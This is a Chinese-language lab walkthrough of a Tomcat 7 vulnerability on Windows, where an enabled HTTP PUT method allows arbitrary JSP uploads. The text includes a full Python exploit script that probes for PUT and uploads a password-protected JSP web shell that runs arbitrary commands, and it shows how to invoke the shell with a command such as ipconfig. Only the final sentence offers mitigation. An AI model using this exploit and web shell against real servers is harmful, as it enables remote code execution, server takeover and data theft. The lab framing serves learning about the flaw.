漏洞的簡介
當(dāng) Tomcat運(yùn)行在Windows操作系統(tǒng)時,且啟用了HTTP PUT請求方法(例如,將 readonly 初始化參數(shù)由默認(rèn)值設(shè)置為 false),攻擊者將有可能可通過精心構(gòu)造的攻擊請求數(shù)據(jù)包向服務(wù)器上傳包含任意代碼的 JSP 文件,JSP文件中的惡意代碼將能被服務(wù)器執(zhí)行。導(dǎo)致服務(wù)器上的數(shù)據(jù)泄露或獲取服務(wù)器權(quán)限。
漏洞影響的范圍
Apache Tomcat 7.0.0 - 7.0.81
實驗環(huán)境搭建
1.官網(wǎng)下載jdk安裝包
http://www.oracle.com/technetwork/java/javase/downloads/index.html
2.根據(jù)提示安裝jdk

3.配置環(huán)境變量, 添加jdk和jre路徑

4.配置成功后的截圖

5.Apache Tomcat安裝
下載地址:
http://www.liangchan.net/soft/download.asp?softid=9366&downid=8&id=9430
6.按照步驟提示,安裝

7.安裝成功后,訪問http://127.0.0.1:8080

漏洞的利用
1.配置Apache Tomcat服務(wù)器
打開Tomcat安裝目錄的C:\Program Files (x86)\Apache Software Foundation\Tomcat 7.0\conf添加如下配置,在Tomcat7.0版本下默認(rèn)配置是開啟readonly的,需要手動配置readonly為false才可以進(jìn)行漏洞利用

- 利用payload對目標(biāo)網(wǎng)站發(fā)起攻擊
#! -*- coding:utf-8 -*-
import httplib
import sys
import time
body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
try:
conn = httplib.HTTPConnection(sys.argv[1])
conn.request(method='OPTIONS', url='/ffffzz')
headers = dict(conn.getresponse().getheaders())
if 'allow' in headers and \
headers['allow'].find('PUT') > 0 :
conn.close()
conn = httplib.HTTPConnection(sys.argv[1])
url = "/" + str(int(time.time()))+'.jsp/'
#url = "/" + str(int(time.time()))+'.jsp::$DATA'
conn.request( method='PUT', url= url, body=body)
res = conn.getresponse()
if res.status == 201 :
#print 'shell:', 'http://' + sys.argv[1] + url[:-7]
print 'shell:', 'http://' + sys.argv[1] + url[:-1]
elif res.status == 204 :
print 'file exists'
else:
print 'error'
conn.close()
else:
print 'Server not vulnerable'
except Exception,e:
print 'Error:', e
下載完后payload命名為1.py
進(jìn)入cmd界面,然后切換到1.py文件目錄下
接下來輸入命令,運(yùn)行,程序返回webshell的地址

注意:此處1506412001.jsp為隨機(jī)生成地址,請以實際獲取的shell為準(zhǔn)
在火狐瀏覽器中按F9打開hackbar插件,執(zhí)行以下命令
http://127.0.0.1:8080/1517282489.jsp?&pwd=023&cmd=ipconfig

結(jié)果分析:
當(dāng)存在漏洞的Tomcat運(yùn)行在 Windows 主機(jī)上,且啟用了 HTTP PUT 請求方法,攻擊者通過構(gòu)造的攻擊請求向服務(wù)器上傳包含任意代碼的 JSP 文件,造成任意代碼執(zhí)行。因此,通常情況下我們應(yīng)該不允許DELETE和PUT操作。